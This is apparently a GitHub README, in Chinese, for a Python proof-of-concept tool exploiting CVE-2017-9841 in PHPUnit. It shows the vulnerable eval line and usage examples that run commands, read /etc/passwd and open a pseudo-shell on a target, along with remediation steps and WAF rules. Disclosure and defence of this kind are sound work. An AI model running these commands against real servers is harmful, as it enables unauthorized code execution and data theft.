krisdewa/CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC
GitHub: krisdewa/CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC
针对 PHPUnit CVE-2017-9841 远程代码执行漏洞的 Python 概念验证工具,提供漏洞检测、命令执行、信息收集及修复建议。
Stars: 0 | Forks: 0
# CVE-2017-9841 — PHPUnit 远程代码执行 (RCE) PoC
## 概述
**CVE-2017-9841** 是 **PHPUnit** 库中的一个远程代码执行 (RCE) 漏洞,影响 **5.6.3** 之前的版本以及 **6.x 中 6.4.2** 之前的版本。
该漏洞存在于 `src/Util/PHP/eval-stdin.php` 中,该文件使用 `eval()` 函数执行通过 `php://input`(POST body)接收到的 PHP 代码。如果此文件可公开访问(例如,在未受保护的 `vendor/` 目录中),攻击者可以在无需身份验证的情况下在服务器上执行任意的 PHP 代码。
### 漏洞详情
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2017-9841 |
| **CVSS Score** | 9.8 (严重) |
| **受影响版本** | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| **类型** | 远程代码执行 (RCE) |
| **身份验证** | 不需要 |
| **攻击向量** | 网络 (远程) |
| **发布日期** | 2017 年 6 月 27 日 |
| **参考** | [NVD](https://nvd.nist.gov/vuln/detail/CVE-2017-9841) |
### 漏洞代码
```
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
```
此文件接收 **来自 POST body 的 PHP 代码**,并立即通过 `eval()` 执行,没有任何身份验证或验证。
## 安装说明
### 前置条件
- Python 3.6+
- `requests` 库
```
pip install requests
```
### 设置
```
git clone
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
```
## 用法
### 基本语法
```
python3 poc_cve-2017-9841.py -u [options]
```
`-u` 标志接受 **基础 URL**(自动追加漏洞路径)或直接指向 `eval-stdin.php` 的 **完整 URL**。
### 1. 漏洞检查(不执行命令)
```
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
```
**输出:**
```
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
```
### 2. 执行命令
```
# 单一命令
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# 多个命令
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# 读取文件
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# 将输出保存到文件
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
```
### 3. 服务器信息(只读)
```
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
```
**输出:**
```
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
```
### 4. 交互式伪 Shell
```
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
```
**输出:**
```
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
```
### 5. 自动查找漏洞路径
```
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
```
### 6. 自定义路径
```
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
```
### 7. 指向 eval-stdin.php 的完整 URL
```
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
```
### 8. 执行原始 PHP 代码
```
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php ''
```
## 选项参考
| 标志 | 描述 |
|------|-------------|
| `-u, --url URL` | 目标基础 URL 或指向 `eval-stdin.php` 的完整 URL |
| `-c, --cmd CMD` | 在目标服务器上执行的 CLI 命令 |
| `--check` | 检查目标是否存在漏洞,而不执行命令 |
| `--shell` | 打开一个伪交互式 shell |
| `--info` | 收集服务器信息(只读) |
| `--find-path` | 扫描常见路径以定位 `eval-stdin.php` |
| `--path PATH` | 为 `eval-stdin.php` 指定自定义路径 |
| `--timeout N` | 请求超时时间,以秒为单位(默认:30) |
| `-o, --output FILE` | 将命令输出保存到文件 |
| `--php CODE` | 执行原始 PHP 代码而不是系统命令 |
## 修复建议
### 紧急措施(立即执行)
#### 1. 删除漏洞文件
```
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
```
#### 2. 阻止对 Vendor 目录的访问
在 `vendor/` 目录中添加一个 `.htaccess` 文件:
```
# /path/to/project/vendor/.htaccess
Deny from all
```
或者在您的 Apache VirtualHost 中进行配置:
```
Require all denied
```
对于 Nginx:
```
location /vendor/ {
deny all;
return 403;
}
```
#### 3. 从生产环境中移除开发依赖
```
cd /path/to/project
composer install --no-dev --optimize-autoloader
```
### 短期强化
#### 4. 在 php.ini 中启用 `disable_functions`
```
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
```
#### 5. 启用 `open_basedir`
```
; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp
```
#### 6. 减少 `max_execution_time`
```
max_execution_time = 30
```
#### 7. 重启 PHP-FPM
```
sudo systemctl restart php8.4-fpm
# 或
sudo systemctl restart php-fpm
```
### 长期强化
#### 8. 升级 PHPUnit
```
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
```
#### 9. 实施 WAF 规则
ModSecurity 示例:
```
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
```
#### 10. CI/CD 流水线强化
```
# 示例:GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
```
## 攻击流程图
```
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
## 加剧因素
以下情况会显著增加此漏洞的严重性和可利用性:
| 因素 | 影响 |
|--------|--------|
| `disable_functions` 为空 | 所有 PHP 函数均可用(`system`、`exec` 等) |
| 未设置 `open_basedir` | 攻击者可以读取/写入整个文件系统中的文件 |
| 较高的 `max_execution_time` | 攻击者每个请求有更多时间处理复杂的 payload |
| 已加载 FFI 扩展 | 允许直接调用 C 函数,绕过 PHP 限制 |
| 已加载数据库扩展 | 可能建立直接的数据库连接(mysqli、pgsql 等) |
| 未部署 WAF | 没有请求过滤或阻止 |
| 没有 IDS/IPS | 没有异常检测或警报 |
| 生产环境中存在开发依赖 | 不必要地扩大了攻击面 |
## 参考文献
- [NVD - CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841)
- [PHPUnit GitHub Issue #2728](https://github.com/sebastianbergmann/phpunit/issues/2728)
- [Exploit-DB #43340](https://www.exploit-db.com/exploits/43340)
- [MITRE CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9841)
## 许可证
本工具仅用于教育和授权的安全测试目的。
标签:CISA项目, Go语言工具, PoC, Python, Web安全, 无后门, 暴力破解, 编程工具, 蓝队分析, 远程代码执行, 逆向工具